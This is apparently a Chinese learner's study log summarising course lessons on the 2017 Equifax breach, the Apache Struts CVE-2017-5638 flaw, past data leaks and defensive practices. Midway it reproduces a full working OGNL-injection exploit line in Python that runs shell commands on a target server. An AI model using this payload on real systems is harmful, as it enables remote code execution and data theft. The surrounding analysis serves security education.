从美国知名征信公司Equifax出现的大规模数据泄露事件说起,分析背后的原因,给出解决这类安全问题的技术手段和方法。

打卡Day58:今天学习了《03|Equifax信息泄露始末》和《04|从Equifax信息泄露看数据安全》,我的收获如下:

2017年9月,美国知名征信公司Equifax出现了大规模数据泄露事件,致使1.43亿用户受到影响。

Equifax信息泄露始末

黑客利用了其系统中未修复的Apache Struts漏洞(CVE-2017-5638,2017年3月6日曝光)来发起攻击。

该漏洞于2017年3月披露,危险系数定为最高分10分,Apache随后发布的Struts 2.3.32和2.5.10.1版本进行了修复。而Equifax在漏洞公布后的两个月内都没有升级Struts版本,导致5月份黑客利用这个漏洞进行攻击,泄露其敏感数据。

Equifax的一个管理面板使用的用户名和密码都是“admin”。

Apache Struts 漏洞相关

世界上最流行的Java Web服务器框架之一。采用Java Servlet/JSP技术,实现了基于Java EE Web应用的MVC设计模式的应用框架。

2004年3月成为Apache基金会的顶级项目。2006年,另一个MVC框架WebWork与Struts进行了整合,发布了Struts 2。

中国的Struts应用分布在全球范围内排名第一,第二是美国,然后是日本。

CVE-2017-5638,一个RCE的远程代码执行漏洞,最初被安恒信息的Nike Zheng发现,并于2017年3月7日上报。攻击者可以在使用插件Jakarta Multipart parser上传文件时,修改HTTP请求头中的Content-Type值来触发漏洞,远程执行代码。

就是在Content-Type注入OGNL语言,进而执行命令。代码如下(一行Python命令就可以执行服务器上的shell命令):

import requests
requests.get("https://target", headers={"Connection": "close", "Accept": "*/*", "User-Agent": "Mozilla/5.0", "Content-Type": "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"})

注入点是在 JakartaMultiPartRequest.java的buildErrorMessage函数中,这个函数里的 localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行。

数据泄露介绍以及历史回顾

  • 2014年,雅虎遭遇攻击,泄露出5亿用户的密码。
  • 2012年,LinkedIn泄露了6500万用户名和密码。
  • 2014年,携程网安全支付日志存在漏洞,导致大量用户信息如姓名、身份证号、银行卡类别、银行卡号、银行卡CVV码等信息泄露。
  • 2011年,RSA公司被钓鱼邮件攻击。打开带有恶意代码的Excel附件,通过攻破Adobe Flash漏洞,来取得对机器的管理权,并访问RSA内网中的服务器。最终导致其母公司EMC花费6630万美元来调查、加固系统,并最终召回和重新分发了30000家企业客户的SecurID卡片。

数据泄露攻击

攻击是怎样实现的:

  1. 利用程序框架或库的已知漏洞。比如Equifax被攻击,Apache Struts漏洞。RSA被攻击,Adobe Flash漏洞。“心脏流血”,OpenSSL漏洞。
  2. 暴力破解密码。利用密码字典库或是已经泄露的密码来“撞库”。
  3. 代码注入。SQL注入、XSS攻击、CSRF攻击。
  4. 利用程序日志不小心泄露的信息。
  5. 社会工程学。安全意识增强了,才能抵御此类攻击。钓鱼攻击。

数据管理上的问题:

  1. 只有一层安全。
  2. 弱密码。
  3. 向公网暴露了内部系统。
  4. 对系统及时打安全补丁。
  5. 安全日志被暴露。
  6. 保存了不必要保存的用户数据。
  7. 密码没有被合理地散列。

专家建议

5条最佳实践。

  1. 跟踪软件使用的框架和库,版本号、最新安全性声明。
  2. 建立一个安全补丁快速发布流程。
  3. 所有复杂的软件都有漏洞。
  4. 建立多个安全层。
  5. 针对公网资源,建立对异常访问模式的监控机制。

技术上的安全做法

  1. 定义出关键数据,隔离到安全级别非常高的地方。
  2. 返回脱敏数据,在传输层上加密。
  3. 被加密的数据和用于加密的密钥由不同的人来管理。
  4. 密钥随机生成,不同用户的数据有不同的密钥,时不时自动化更新。
  5. 关键信息传到外部系统,需要通知用户和管理员。超过限制访问量后,报警或拒绝。

安全方案就是能够把这个风险控制在一个很小的范围。通过“风控基金”来做业务上的补偿,比如赔偿用户损失。防范成本远高于赔偿成本,还不如赔偿。

左耳朵耗子带你重学《左耳听风》

https://time.geekbang.org/column/article/281

https://time.geekbang.org/column/article/285